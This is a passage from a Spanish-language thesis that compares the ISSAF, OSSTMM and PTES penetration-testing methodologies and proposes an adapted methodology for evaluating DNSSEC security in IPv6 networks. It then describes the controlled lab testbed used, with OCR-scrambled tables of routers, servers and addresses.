magquina esta determinado por la sensibilidad de los datos almacenados en él
y la utilidad de las maquinas para comprometer aiun mas la red. En esta fase
se debe de garantizar de no exponer al cliente a riesgos innecesarios, se
debe considerar aspectos de configuracion y servicios de red. Asimismo
durante esta fase se obtiene mayor informacién de los sistemas
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comprometidos, se establecen rutas para expandir la extra filtracion, se
establecen medios para mantener las conexiones mediante puertas traseras,
creacion de usuarios, etc.

e Informes, se define los criterios basicos para los informes de pruebas de
penetracion, los cuales se dividen en dos categorias: Reporte ejecutivo y
Reporte técnico.

Guia técnica

PTES es una metodologia que provee al auditor una descripcién de las pruebas a
realizar en cada una de las fases. Ademas de recomendar herramientas que se
pueden utilizar en la ejecucion de las pruebas que se abarcan en cada fase, sin
profundizar mucho en ellas.

Métrica

PTES no posee una métrica para la evaluacion del riesgo, sino que sugiere el
calculo de éste, por medio de las siguientes metodologias: FAIR, para mayor
informacion ver ANEXO [1].

Informes

Define los criterios béasicos para los informes de una prueba de penetracion
permitiendo una comprension de alto nivel de los elementos requeridos dentro de
un informe, asi como la estructura. Los informes se dividen en dos categorias:

e Reporte técnico, dirigido al personal involucrado directamente con el
desarrollo de la plataforma, ya que se muestran recomendaciones de mejora a
nivel técnico para que ya no se presenten las vulnerabilidades que se
encontraron.

e Resumen ejecutivo, dirigido al personal corporativo, ya que se expone
gréficas y descripciones que reflejan simplificadamente el nivel de seguridad de
la plataforma.
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Recomendaciones

PTES realiza una serie de recomendaciones a lo largo de toda la metodologia, a
medida que se abarca cada una de las fases, sin incluir una exclusiva dentro de la
misma para definirlas. Estas pautas se abarcan con el fin de:

e Determinar un mejor alcance de la prueba de penetracién en aspectos: legales,
técnicos y comerciales.

e Definir pautas para el analisis y ejecucion de las pruebas de penetracion.

e Para la presentacion de resultados.

Meticulosidad

El nivel de meticulosidad en PTES es bajo, debido a que abarca de manera muy
general todos los aspectos que se presentan en la metodologia, desde la
planeacién de la evaluacién por parte del auditor, la prueba de penetracion, la
evolucion de riesgo, siendo ligeramente mas riguroso en la presentacion de
informes.

Usabilidad y uso

Su usabilidad es media, debido a que posee fortalezas en la guia técnica de
penetracion al recomendar herramientas de utilidad para cada una de las 7 fases
que posee la metodologia. Sin embargo para otros aspectos como la evaluacion
del riesgo es muy genérica. Es usada por:

e Auditores, con el objetivo de proporcionar una linea base para los tipos de
actividades necesarias, que se deben tener en cuenta como parte de una
prueba de penetracion desde el alcance hasta los informes y resultados.

e Organizaciones, con el fin de exigir una linea base de trabajo especifica
como parte de una prueba de penetracion.

Ventajas

e Es una de las pocas metodologias que se enfoca principalmente en proveer
informacion para la prueba de penetracion a nivel de guia técnica.
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e Provee al auditor de pautas importantes para la planeacion de la pruebay el
acuerdo con la organizacion, sin llegar a ser engorroso.

Limitaciones

e A pesar de enfocarse principalmente en la prueba de penetracion, la guia
técnica no es lo suficientemente detallada para que pueda ser utilizada por
auditores sin experiencia.

e A diferencia de algunas metodologias de penetracion libres, no provee de
informacion detallada para la evaluacién de riego.

2.4. ASPECTOS MAS RELEVANTES DE LAS METODOLOGIAS DE
EVALUACION DE SEGURIDAD ANALIZADAS

A continuacion se explican los aspectos mas relevantes de las metodologias
anteriormente analizadas, para posteriormente realizar una comparacién de los
mismos entre las distintas metodologias abordadas:

Alcance

Este aspecto engloba los parametros mas importantes que tiene en cuenta cada
una de las metodologias para aplicarlas correctamente, entre ellos: el entorno de
aplicabilidad de la prueba, el tipo de test que se aplica, los lineamientos de accion,
la metodologia de penetracidn, la guia técnica, la métrica, recomendaciones e
informes.

Entornos de aplicabilidad

El &mbito de aplicacion delimitara las pruebas a realizar. Dependera del tipo de
organizacién, mecanismos y tecnologias de los sistemas de informacién (Sl) que
cubre la metodologia.

Usabilidad y uso

La usabilidad de estas metodologias podria definirse como la facilidad a la hora de
utilizar las metodologias para alcanzar los objetivos propuestos de una forma
efectiva, eficiente y con una satisfaccidon subijetiva.
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En cuanto al uso o utilizacion de las mismas en los entornos de auditorias de
seguridad, se refiere a quienes es de utilidad dicha metodologia.

Guia Técnica

Hace referencia a los detalles generales que ofrece la metodologia a nivel técnico,
que permiten para llevar adecuadamente la ejecucion de las pruebas necesarias
para realizar la evaluacion de seguridad.

Recomendaciones

Se refiere a las recomendaciones que se deben tener en cuenta ( antes, durante y
después) del proceso de aplicacién de la metodologia , tanto en la parte técnica
como a nivel general hasta la obtencion de resultados.

Métricas

La obtencion de una medicién de forma objetiva y repetible es una caracteristica
importante en las metodologias. Permite la clasificacion de las vulnerabilidades
encontradas, y por ende el riesgo y el impacto que tendrian su explotacion. Cabe
resefiar que no todas las metodologias cubren este aspecto, y que la metodologia
propuesta en el presente Trabajo de Grado si lo cubrird, en el andlisis y evaluacion
de las vulnerabilidades del protocolo DNSSEC.

Meticulosidad

Este aspecto tiene en cuenta la minuciosidad y exactitud que aporta cada
metodologia. El nivel de profundidad que utilice la metodologia en el desarrollo de
las pruebas, muestra el nivel de detalle con el que extrae la informacion de los
sistemas a testear.

Informes

Presenta pautas y una estructura de los formatos o plantillas que se deben seguir
para la elaboracién de reportes para la presentacién de resultados.
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2.5. ANALISIS COMPARATIVO DE LAS METODOLOGIAS DE EVALUACION
DE SEGURIDAD ANALIZADAS

Una vez estudiadas cada una de las metodologias més utilizadas en la evaluacion
de seguridad, se realiza una comparacion detallada de los aspectos mas

relevantes incluidos en ellas.

Los chulos de color verde representan los aspectos que tienen en comun todas las

metodologias, y los chulos rojos los que no.
OSSTMM PTES
ISECOM

NV WV
v

ASPECTOS
Acreditacion
Alcance
Introduccion a conceptos
Gestion del compromiso
Gestion de proyecto
Entornos de aplicabilidad
Metodologia de penetracion
Guia técnica

Métricas

Recomendaciones

| issAE
015G
V.
e
Ve
,/
v
v
v
¢
v
v

SN ANSAANA
QRN AAAAAN

Usabilidad y uso

Tabla 2.1 Comparativa general de las Metodologias de Seguridad

En la Tabla 2.1 se observa que las metodologias presentan:

El aspecto de la acreditacion, OSSTMM es acreditada por el ISECOM e ISSAF por
la OISSG, todas las metodologias definen un alcance, que engloba los aspectos
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gue tiene cada una, OSSTMM presenta una Introduccibn a conceptos de
seguridad y sobre la aplicacion de la metodologia, ISSAF establece pautas para la
Gestion del compromiso y la Gestion efectiva de proyectos de Evaluacion de
seguridad, las 3 metodologias tienen en comun: entornos de aplicabilidad donde
evallan la seguridad, una metodologia de penetracion para realizar la evaluacion
de la seguridad, una guia técnica para la ejecucion de las pruebas de penetracion,
una métrica para la evaluacion del riesgo, informes para la presentacion de
resultados, recomendaciones a lo largo del proceso de aplicacion de la
metodologia, y el aspecto de usabilidad y uso que indican la facilidad de utilizacion
de la metodologia y a quienes va dirigida.

Para una mayor profundizacion de cada uno de los aspectos involucrados en las
Metodologias, ver el ANEXO 1.
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CAPITULO 3

METODOLOGIA PARA EL ANALISIS Y EVALUACION DE LA SEGURIDAD
PROPORCIONADA POR DNSSEC

3.1 DEFINICION DE LA NUEVA METODOLOGIA

Partiendo de los conocimientos adquiridos en el estudio y andlisis de las
metodologias de seguridad descritas anteriormente y de la extraccion de sus
aspectos mas importantes, se propone adaptar una metodologia para analizar
y evaluar la seguridad proporcionada por el Protocolo DNSSEC en redes de
informacion IPv6 en un escenario de pruebas controlado, de manera que sea
comprensible, detallada y de facil aplicabilidad en este contexto.

En la Tabla 3.1 hasta la Tabla 3.3, se describe la metodologia adaptada con base
en los aspectos que se describieron de las distintas metodologias anteriores,
resaltando las caracteristicas generales que se quieren obtener al aplicarla en el
escenario propuesto.

ASPECTOS MAS RELEVANTES DE LAS METODOLOGIAS DE EVALUACION DE SEGURIDAD

METODOLOGIA
ISSAF 2.0 OSSTMM 3 PTES 1.1 ADAPTADA
ENTORNO DE APLICABILIDAD
Redes, sistemas Humano, Fisico, Configuraciones de | Seguridad de los
operativos, Inalambrico, red y servicios de | sistemas y redes
aplicaciones web y Telecomunicaciones, red. de informacién.
bases de datos. Redes de Datos.
METODOLOGIA DE PENETRACION
Se divide en 3 fases. Se divide en 4 fases. Se divide en 7 | Constade4 fases
fases.
GUIA TECNICA

Detallada. No muy detallada. No detallada. Detallada.

Tabla 3.1. Aspectos mas relevantes de las Metodologias de Seguridad

48



ASPECTOS MAS RELEVANTES DE LAS METODOLOGIAS DE EVALUACION DE SEGURIDAD

ISSAF 2.0

OSSTMM 3 PTES 1.1

METODOLOGIA

Audit Report).

ADAPTADA
METRICAS
Evaluacion del | valor de evaluacion del = Evaluacion del | Evaluacién de
riesgo. riesgo (RAVSs). riesgo, Metodologia vulnerabilidades
FAIR. con base en el
estandar CVSS.
INFORMES
* Informe verbal Informe de auditoria de <+ Reporte técnico * Reporte
* Informe final. prueba de seguridad <+ Resumen ejecutivo
(STAR, Security Test ejecutivo. * Reporte técnico

RECOMENDACIONES

Tabla 3.2 Aspectos mas relevantes de las Metodologias de Seguridad

ASPECTOS MAS RELEVANTES DE LAS METODOLOGIAS DE EVALUACION DE SEGURIDAD

ISSAF 2.0

OSSTMM 3 PTES 1.1

METODOLOGIA

y proveedores de

servicios.

ADAPTADA
METICULOSIDAD

Muy detallada en cada Detallada en la General en la Detallada en cada
uno de sus aspectos. mayoria de sus mayoria de sus uno de sus

aspectos. aspectos. aspectos.

USABILIDAD
Eacil de usar. No es Facil de usar. Medianamente Facil de usar.
Facil de usar.
uso

Auditores y Profesionales de Ila Empresas que Auditores y
organizaciones con o seguridad con requieren el servicio organizaciones
sin experiencia. experiencia. con o sin

experiencia.

Tabla 3.3 Aspectos mas relevantes de las Metodologias de Seguridad
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Con base en lo anterior, se describe de manera mas detallada los aspectos de la
metodologia Adaptada:

Alcance

El alcance de la metodologia propuesta se compone de: la definicion del test de
intrusion, los objetivos, el ambiente o entorno donde se realizaran las pruebas, y
la metodologia de penetracion con su correspondiente guia técnica, métricas y
estructura para la entrega de resultados.

Entorno de Aplicabilidad

El entorno de aplicabilidad de la metodologia es la seguridad de los sistemas y
redes de informacién, desde la perspectiva de la evaluacién de la seguridad
proporcionada por la extension de seguridad del protocolo DNSSEC.

Metodologia de Penetracién

La metodologia de penetracidbn propuesta, esta fundamentada en los
procedimientos de las metodologias de penetracion de PTES e ISSAF.

Guia Técnica

La guia técnica de la metodologia adaptada, se basa en el modelo propuesto por
la metodologia de penetracion de ISSAF, al especificar las herramientas y como
se pueden utilizar para la ejecucion de las pruebas de cada una de las fases.

Métricas

Este trabajo, no cubre el parametro de métrica como la mayoria de las
metodologias estudiadas mediante el andlisis y evaluacion del riesgo, sino que se
enfoca en el analisis y evaluacion de las vulnerabilidades por medio del Sistema
Comun de Puntuacion de Vulnerabilidades (CVSS, Common Vulnerability Scoring
System), el cual es un estandar de la industria para evaluar la gravedad de las
vulnerabilidades de seguridad informéatica del sistema.

50



Informes

Los informes de la nueva metodologia incluyen los criterios basicos contenidos en
los informes de pruebas de penetracion de las metodologias de OSSTMM, ISSAF
y PTES, con el fin de fortalecer y complementar dichos criterios propuestos.

Recomendaciones

Las recomendaciones en la metodologia adaptada, se basan en las
recomendaciones propuestas de las metodologias ISSAF, OSSTMM y PTES, de
tal manera que se abarcan y complementan las pautas requeridas en este
aspecto.

Meticulosidad

El nivel de meticulosidad de la metodologia adaptada, tiene en cuenta la
minuciosidad y exactitud que aportan la metodologia ISSAF para el manejo
detallado de la guia técnica para la realizacion de cada una de las pruebas,
hacienda uso de herramientas actualizadas, como el manejo exhaustivo de
OSSTMM para el manejo de la métrica, en nuestro caso orientada a llevar a cabo
un correcto analisis de la evaluacion de la seguridad teniendo en cuenta el
estandar CVSS. De igual forma teniendo en cuenta los criterios contenidos en los
reportes y los lineamientos de accion de todas las metodologias estudiadas.

Usabilidad y uso

Se busca que el nivel de usabilidad de la nueva metodologia se alta, como
resultado a la meticulosidad en la descripcion de la planeacion, la prueba técnica
de penetracion, la evaluacién de los resultados obtenidos mediante el CVSS y la
presentacion de informes.

3.1.1 FASES DE LAS METODOLOGIAS DE EVALUACION DE SEGURIDAD

En la Figura 3.1 por las autoras, se observa que del estudio extenso y arduo de las
Metodologias de Evaluacién de Seguridad, se determind que las fases principales
son:
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PLANEACION

-

PENETRACION ‘

o

REPORTE
DE

AUDITORIA

Figura 3.1 Fases principales de las Metodologias de Evaluaciéon de seguridad

En la Figura 3.2 por las autoras, se muestran las fases de las Metodologias de
Evaluacion de Seguridad:
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Figura 3.2 Fases de las Metodologias de Evaluacion de Seguridad.



e La Fase de Planeacion representada con color rojo, es donde se determina
el alcance de las pruebas de penetracion y los diferentes pardmetros que se
deben definir antes de comenzar con la fase de penetracion.

e La Fase de Penetracion representada con la linea punteada, es donde se
realizan las pruebas de penetracion. ISSAF se divide en 9 capas desde la
recoleccion de informacion hasta el cubrimiento de pistas, OSSTMM cubre las
fases de Interaccion, Investigacion e Intervencion y PTES abarca desde la
fase de recoleccion de informacion hasta la explotacion posterior.

e La Fase de Reporte de Auditoria representada con color morado, es
donde se presentan los resultados de la evaluacion de la seguridad.

Una vez determinadas las Fases de las Metodologias de Evaluacion de
Seguridad, se realiz6 un analisis comparativo de la Fase de Penetracion de cada
una de las Metodologias, como se muestra en la Figura 3.3 por las autoras:

e Las Fases de Recoleccion de Informacion y Mapeo de Red de ISSAF
estdn relacionadas con la Fase de Interaccibn de OSSTMM vy de

Recoleccidon de Informacién de PTES.

e La Fase de ldentificacién de Vulnerabilidades de ISSAF esta relacionada
con la Fase de Andlisis de Vulnerabilidades de PTES.

e La Fase de Penetracion de ISSAF se relaciona con la Fase de
Investigacion de OSSTMM y Explotacién de PTES.

e Las Fases de Obtencién de Acceso hasta el Cubrimiento de Pistas de
ISSAF, se relacionan con la Fase de Explotacion Posterior de PTES.
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ISSAF OSSTMM PTES

Recoleccion de

Fase de Interacciéon Recolecciéon de

Informaciéon Informaciéon

> 4

Modelado de
Amenazas

Mapeo de Red

Identificacion de

Vulnerabilidades Fases de Intervencion Andlisis de
Vulnerabilidades

Penetracion

Explotacion

~ Obtencién de Acceso y s,
Escalamiento de
Privilegios
Explotacion

Posterior

Comprometer Usuarios

/Sitios Remotos

Mantener el Acceso

Cubrimiento de Pistas

Figura 3.3 Fase de Penetracion de cada una de las Metodologias de Evaluacion de
Seguridad

Con base en el analisis anterior, se determiné que la Fase de Penetracién de las
Metodologias de Evaluacion de Seguridad, se compone principalmente de las
Fases, como se muestra en la Figura 3.4 por las autoras:
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Recoleccion
de
Informacion

Identificacion

de
: Vulnerabilidades

PENETRACION

Explotacion

Post Explotacién

Figura 3.4 Fase de Penetracion de las Metodologias

Con base en lo anterior, se determind que la Fase de Penetracion de la
Metodologia Adaptada, abarca hasta la fase de explotacion, como se observa en
la linea punteada, debido a que no se necesitd escalar privilegios, ni obtener
mayor informacién de los sistemas comprometidos, como se observa en la Figura
3.5 por las autoras:

Recoleccion
de
Informacion

. Identificacion
PENETRACION

de
Vulnerabilidades

Figura 3.5 Fase de Penetracion de la Metodologia adaptada
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3.2 METODOLOGIA ADAPTADA PARA EVALUACION DE LA SEGURIDAD

Con base en las metodologias estudiadas, los componentes fundamentales de la
nueva metodologia propuesta para evaluacion de la seguridad son: la planeacion,
la ejecucion técnica de la penetracion, la evaluaciéon de los resultados
obtenidos y la presentacion de la informacion.

La metodologia adaptada, de manera general se estructura en 4 fases principales
que busca cubrir lo necesario para llevar a cabo la evaluacion de la seguridad
proporcionada por DNSSEC en un escenario de pruebas controlado en redes de
informacion con IPv6.

Por lo anteriormente mencionado, la metodologia adaptada debe estar
conformada por las siguientes cuatro Fases principales, como se observa en la
Figura 3.6 por las autoras:

e Planeacion.
e Penetracion.
e Evaluacion de vulnerabilidades.

e Reporte de auditoria.

PLANEACION

PENETRACION

b

EVALUACION DE
VULNERABILIDADES

REPORTE DE
AUDITORIA

Figura 3.6 Fases de la Metodologia Adaptada
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En la Figura 3.7 por las autoras, se presenta el marco teorico de la metodologia
adaptada, abarcando desde la estructura general de la metodologia, hasta el
desglose de cada una de sus fases y sus respectivas actividades.

FASE 1:
PLANEACION

FASE 2:
PENETRACION

FASE 3:
EVALUACION
VULNERABILIADES

FASE 4:
REPORTE
DE AUDITORIA

prueba de penetracién, al establecer los diferentes
pardmetros que se deben definir antes de comenzar con

*Fase de Planeacién: se determina el alcance de la
la fase de penetracion.

*Fase de Penetracién: se realiza la recopilacion de
informacion y se busca identificar y explotar las
vulnerabilidades.

determina un valor cuantitativo/cualitativo a la

sFase de Evaluacion de las Vulnerabilidades: se
S
vulnerabilidades encontradas.

documentacion necesaria para reportar las pruebas
realizadas, los resultados obtenidos, el andlisis realizado

*Fase de Reporte de Auditoria: se realiza la
entre otras.

Figura 3.7 Actividades de las Fases de la nueva Metodologia Adaptada

A continuacién se detalla cada una de las fases de la metodologia adaptada para
analizar y evaluar la seguridad proporcionada por DNSSEC en un escenario de
pruebas controlado en redes de informacion con IPv6.
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Fase 1: Planeacién

En la fase de planeacién se determina el alcance la prueba, para lo cual es
necesario determinar los siguientes parametros, como se observa en la Figura 3.8
por las autoras:

OBJETIVO

/ A TIPO DE
ADICIONALES TEST DE
// INTRUSION /

PLANEACION

PRUEBAS /

DIAGRAMA
DE RED

Figura 3.8 Fase de Planeacion

e Objetivos: se debe de determinar cual es el objetivo de las prueba de
penetracion.

e Tipo de test de intrusidn: parametro que hace referencia a determinar el
tipo de test de intrusion que se va a realizar, el cual toma valores como: test
de caja blanca, test de caja negra, test de caja gris, entre otros.

e Alcance: después de determinado los parametros anteriores se puede
determinar el alcance de la prueba.

e Diagrama de red del ambiente de prueba: es determinar a través de un
diagrama de red el escenario en que se va realizar la prueba el cual incluye:
redes involucrados, host activos con IP respectivas, servicios
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Plan de pruebas de seguridad: se debe de determinar el tipo de pruebas y
las pruebas que se van a realizar la fase de penetracion.

Adicionales: en este parametro de describen criterios que puede considerar
tanto la organizacion como el auditor en la fase planeacion en caso de
ejecutarse en una organizacion, tales como: contratos de no divulgacion,
estimacion de costos y especificacion de modos de pago.

Fase 2: Penetracién

La fase de penetracion, para identificar y explotar las vulnerabilidades encontradas
se divide en dos actividades, como se observa en la Figura 3.9 por las autoras:

RECOLECION DE
INFORMACION

PENETRACION

4 .
/ / IDENTIFICAICION Y
EXPLOTACION DE
VULNERABILIDADES

Figura 3.9 Fase de Penetracién

Recoleccion de informacién

En esta actividad se busca recolectar la mayor cantidad de informacion posible
sobre el escenario probado, para obtener informacion de la infraestructura de
red. Con base en esta informacibn se debe realizar la identificacion y
explotacion mas especifica de vulnerabilidades.

Esta actividad se divide en tres tareas: Descubrir host activos en segmentos de
red, Encontrar  sistemas operativos, servicios y versiones, ldentificar
Relaciones de Direcciones IPv6 con Servidores, Dominios y Subdominios,

Identificar dominios y subdominios.
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e Identificacion y explotacion de vulnerabilidades

Una vez terminado el proceso de recoleccidén de informacién, se procede a la
identificacion y explotacion de vulnerabilidades, para lo cual se realiza la
ejecucion de pruebas manuales especificas para identificar la existencia de
vulnerabilidades en el escenario objetivo y luego explotarlas con las
herramientas adecuadas.

Fase 3: Evaluaciéon de Vulnerabilidades

La evaluacion de las vulnerabilidades se basa en el Sistema de puntuacién de
vulnerabilidad comdn (CVSS, Common Vulnerability Scoring System), que
proporciona una forma de capturar las caracteristicas principales de una
vulnerabilidad y producir una puntuaciéon numeérica que refleje su gravedad, [29].

En la Figura 3.10 adaptada de [29], se muestra que CVSS se compone de tres
grupos principales de métricas: Base, Temporal y de Entorno, cada una con un
conjunto de métricas.

GRUPO METRICAS GRUPO METRICAS

GRUPO METRICAS BASE

TEMPORAL ENTORNO

* Requisitos de
Confidencialidad

Métricas de Explotabilidad - Madures del Cédigo

» Vector de Ataque de Explotacion

+ Complejidad de Ataque

el s . Nivel Remediacié + Requisitos de
Privilegios ivel Remediacion Integridad

+ Interaccion de Usuarios

Métricas de Impacto ‘ gzﬁ‘f)i'::zdae + Requisitos de

- Impacto de Disponibilidad

Confidencialidad
« Impacto de Integridad
« Impacto de
Disponibilidad

Figura 3.10 Fase de Evaluacién de Vulnerabilidades
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e El grupo de métrica Base: representa las caracteristicas intrinsecas de una
vulnerabilidad que son constantes en el tiempo y en los entornos de usuario.

e Las métricas Temporales: miden el estado actual de las técnicas de
explotacion o la disponibilidad del cédigo, la existencia de parches o
soluciones provisionales, o la confianza que uno tiene en la descripcion de
una vulnerabilidad.

e Métrica Ambiental: permiten al analista personalizar el puntaje CVSS
dependiendo de la importancia del activo de Tl afectado para la organizacion
del usuario, medido en términos de controles de seguridad complementarios /
alternativos vigentes, Confidencialidad, Integridad y Disponibilidad.

Fase 4. Reporte de Auditoria

En la Figura 3.11 por las autoras, se observa que la fase de Reporte de Auditoria
se divide en un reporte ejecutivo y un reporte técnico, donde cada uno tiene
pardmetros a considerar:

REPORTE
EJECUTIVO

REPORTE
DE

AUDITORIA

REPORTE
TECNICO

Figura 3.11 Fase de Reporte de Auditoria.

e El| Reporte ejecutivo contiene el resumen de los resultados obtenidos, el
analisis, las conclusiones y las recomendaciones.
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Resumen de los resultados obtenidos: se coloca de manera resumida los
resultados obtenidos de la fase de penetracion tanto de recoleccién de
informacion como de la identificacidén y explotacion de vulnerabilidades

Andlisis: se presenta el analisis de las pruebas realizadas.

Conclusiones: se presenta las conclusiones a las cuales se ha llegado con
el andlisis de los resultados obtenidos a la fase de penetracion.

Recomendaciones: se presentan recomendaciones para mitigar las
vulnerabilidades encontradas.

En el Reporte técnico se recolecta cada una de las pruebas realizadas
caracterizadas por una serie de parametros:

Diagrama de red sobre el cual se desarrollé la PoC (Prueba de Concepto):
se identifica de manera grafica el escenario sobre el cual se realiz6 la PoC.

Nombre de la prueba
Tipo de prueba

Herramienta utilizada: se debe especificar la herramienta utilizada para la
PoC.

Descripcion general de la prueba: se debe realizar una descripcion general
de la prueba donde se abarque los activos relacionados en la prueba como
las circunstancias bajo las cuales se ejecute la misma.

Resultado: se debe de especificar de manera resumida cuales fueron los
resultados obtenidos de la PoC

Evidencia: se debe de colocar evidenciado las pruebas realizadas y los
resultados obtenidos en el reporte técnico.
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CAPITULO 4

ESCENARIO DE PRUEBAS CONTROLADO

Para determinar el escenario de pruebas controlado, primero se llevé a cabo un
estudio detallado sobre el funcionamiento de los protocolos DNS y DNSSEC de
sus componentes principales dentro de la infraestructura DNS (Servidores
autoritativos, Servidor Cache y Clientes) y las funciones que cumplen en un
proceso de validacion de respuesta DNS para garantizar la autenticidad e
integridad de los datos DNS de una respuesta. Estos conceptos se exponen de
manera general en la seccion 1.3 del Capitulo 1.

Con base en lo anterior, se determinaron los componentes principales que
formarian parte y cumplirian un rol especifico dentro del escenario de pruebas
controlado como los servidores de la jerarquia DNS para la implementacion de la
cadena de confianza DNSSEC en las Gltimas versiones de los sistemas operativos
Debian, Centos y Windows server 2012 sobre el escenario real de pruebas
controlado, el nimero de equipos como (routers, switchs, Pcs), utilizando el
protocolo estandar de enrutamiento BGP para redes IPv6, para permitir la
conectividad de todos los componentes involucrados en el escenario, el plan de
direccionamiento IPv6, y finalmente el plan de pruebas de funcionamiento que se
llevaria a cabo en el proceso de implementacion del escenario de pruebas
controlado, para posteriormente realizar un estudio técnico detallado sobre la
configuracion los servicios de Internet DNS, DNSSEC y Web para su
implementacion en redes IPv6 en el escenario de pruebas controlado.

La implementacion del escenario de pruebas se llevd a cabo tanto a nivel de
virtualizacioén en la plataforma Virtual box, y posteriormente con equipos reales del
departamento de telecomunicaciones de la Universidad del Cauca: Routers Cisco
2801, Routers software Quagga, Switchs Catalyst 2960-S y Pcs.

El escenario real de pruebas controlado, esta conformado por una topologia que
incluye una red interna y una red externa.

La red interna, esta constituida por la implementacion de una delegacion segura

DNSSEC para los dominios y subdominios internos de la organizacion Bancodk,
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con su correspondiente servidor DNS autoritario, DNS secundario, servidor web,
hosts clientes, un servidor cache validador y un cliente validador, que contienen el
ancla de confianza del dominio bancodk.com de la organizacion asi como la
clave publica ksk del servidor raiz f.root-servers.net, con esta infraestructura de
red se realiza el proceso de validacion DNSSEC para los dominios internos y
externos a la organizacion.

La red Externa del escenario esta conformada por la implementacion de la
cadena de confianza DNSSEC en todos los servidores involucrados en los niveles
de la jerarquia DNS, es decir que, se configur6 DNSSEC en los servidores
autoritarios, empezando desde el dominio de nivel secundario
comunicate.com, el dominio de nivel superior a.gtld-servers.net.com, hasta
llegar al nivel raiz (f.root-servers.net.). El proceso se completd creando la
cadena de confianza a partir de la publicacién del registro DS desde el dominio de
nivel secundario hijo hacia el dominio de nivel superior padre. Se debe tener en
cuenta, que la configuracibn e implementacién de la cadena de confianza
DNSSEC se divide en 2 estados: el primero, cuando todos los niveles de la
jerarquia DNS se encuentran firmados con DNSSEC a excepcion del dominio
networks.com y el segundo cuando la cadena de confianza esta rota, es decir
qgue el dominio de nivel superior a.gtld-servers.net.com, no se encuentra firmado
con DNSSEC.

En las siguientes tablas se describen las caracteristicas de todos los componentes
involucrados en la implementacion del escenario real de pruebas controlado, y en
Figura 4.1 se muestra la topologia del escenario real de pruebas controlado
DNSSEC en redes de informacién IPv6. Para mayor informacion sobre las
configuraciones de implementacién y funcionamiento del escenario ver Anexo
N°2.

Ademas, se muestran las caracteristicas de los sistemas operativos que se
utilizaron para la implementacion de los servicios de internet DNS y DNSSEC en
redes IPv6 tanto en la red interna como en la red externa del escenario de pruebas
controlado:
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Sistema Operativo Version del S.O Versioén
Centos 7 994
Debian Stretch 9.4 9.10.3 -p4
Windows Server 2012 Microsoft Windows

Tabla 4.1 Sistemas operativos utilizados para la implementaciéon de DNSSEC enredes IPv6

Sistema operativo

RED INTERNA RED EXTERNA
Debian Debian
Centos Centos

Windows Server 2012 Centos y Debian

Tabla 4.2 Sistemas operativos implementados en lared internay externa del escenario de
pruebas

Se utilizd el protocolo estandar de enrutamiento BGP para redes IPv6, para
permitir la conectividad de todos los componentes involucrados en el escenario,
definiendo 6 sistemas auténomos para especificar las redes IPv6 en formato
hexadecimal, de la red interna CAFE de la organizacion, asi como las redes de la
cadena de confianza DNSSEC en todos los niveles de la jerarquia DNS.

En las siguientes tablas se considera que la anotacion NA: significa que No Aplica
para ese parametro.
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ROUTERS SISTEMA AUTONOMO INTERFACES Direccion IPv6 REDES CONECTADAS
Router de frontera AS 100 Fa0/1 2001:12:7000:: CAFE:0/112 Red interna CAFE
R1-Software Quagga Fa0/0 2800:480:2000: : CEDA: 0/124 CEDA
Router ISP AS 200 Fa0/l 2800:480: 2000: : CEDA: 0/124 CEDA
R2-Software Quagga Fa0/0 2800:480:3000:: DEA: 0/124 DEA
Fa0/1 2800:480: 3000:: DEA: 0/124 DEA
Router 3 Fa0/0 2800:480:4000:: ADA: 0/124 ADA
5 AS 300
CISCO 2801 S 0/1/0 2800:480:5000: : EDAD: 0/124 EDAD
S 0/2/0 2800:480:6000: : ABE: 0/124 ABE
Fa0/l 2001: 500: 2f ::f: BEBE:0/112 BEBE
R4-Software Quagga AS 400
Fa0/0 2800:480:4000:: ADA: 0/124 ADA
Fa0/0 2001:503: 3f:: BECA:0/112 BECA
R5-CISCO 2801 AS 500
S 0/2/0 2800:480:5000: : EDAD: 0/124 EDAD
Fa0/0 2800: 3f0: 4005: 403:: BACA: 0/112 BACA
R6-CISCO 2801 AS 600
S 0/2/0 2800: 480: 6000:: ABE: 0/124 ABE

Tabla 4.3 Caracteristicas de los Routers configurados con el protocolo de enrutamiento BGP en el escenario de pruebas controlado

COMPONENTES DE LA RED INTERNA DEL ESCENARIO DE PRUEBAS CONTROLADO IMPLEMENTADO EN EL SISTEMA OPERATIVO DEBIAN

Nombre del servidor Funcion Dominios ESTADO Direccion IPv6 Direccion MAC
dnsl.bancodk.com Servidor Autoritario del bancodk.com FIRMADO 2001:12:7000: : CAFE: 2 08:00:27:50:64: 6E
bancodk.com
dnsltransacciones. Servidor Autoritario del transacciones.bancodk.com FIRMADO 2001:12:7000:: CAFE:3 08:00:27:9F: 1F:97
bancodk.com transaccionesbancodk.com
Caché-Vvalidador Caché Validador NA NA 2001:12:7000::CAFE:5 08:00:27:F1:2C:A5
Cliente-Validador Validador DNSSEC NA NA 2001:12:7000::CAFE: 25 08:00:27:FB:19:D0O
. No tiene soporte de 0. . . .00-27 BA- DA-
Cliente validacion DNSSEC NA NA 2001:12:7000::CAFE: 15 08:00:27:6A:D6:57

Tabla 4.4 Caracteristicas de los componentes de lared Interna implementados en el S.O Debian
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COMPONENTES DE LA RED EXTERNA DEL ESCENARIO DE PRUEBAS CONTROLADO IMPLEMENTADO EN

EL SISTEMA OPERATIVO DEBIAN

Nombre del servidor Funcién Dominios ESTADO Direccion IPv6 Direccién MAC
f.root-servers.net Servidor DNS Raiz Firmado 2001: 500: 2f ::f:BEBE:2 08:00:27:82:3F:98
A.gtld-servers.net.com. Servidor Autoritario .com .com Firmado 2001:503:3f::BECA:2 08:00:27:1F:4C:1E
dnsl.comunicate.com. Servidor Autoritario comunicate.com Firmado 2800:3f0:4005:403::BACA: 2 08:00:27:82:3F:99
web.comunicate.com Servidor Web www.comunicate.com Firmado 2001:503:3f::BECA:3 08:00:27:82:3F:100
dnsl.networks.com Servidor Autoritario networks.com NO Firmado 2800: 3f0:4005:403::BACA: 4 08:00:27:82:3F:101

networks.com

Tabla 4.5 Caracteristicas de los componentes de la red Externa implementados en el S.O Debian

COMPONENTES DE LA RED INTERNA DEL ESCENARIO DE PRUEBAS CONTROLADO IMPLEMENTADO EN EL SISTEMA OPERATIVO CENTOS

Nombre del servidor Funcion Dominios ESTADO Direccion IPv6 Direccion MAC

dnsLbancodk.com Servidor Autoritario del bancodk.com FIRMADO 2001:12:7000: : CAFE: 32 08:00:27:51:F0:6C

bancodk.com
) Servidor Autoritario del .

dnsl.transacciones. bancodk.com . transacciones.bancodk.com FIRMADO 2001:12:7000::CAFE:33 08:00:27:41:37:92
transaccionesbancodk.com

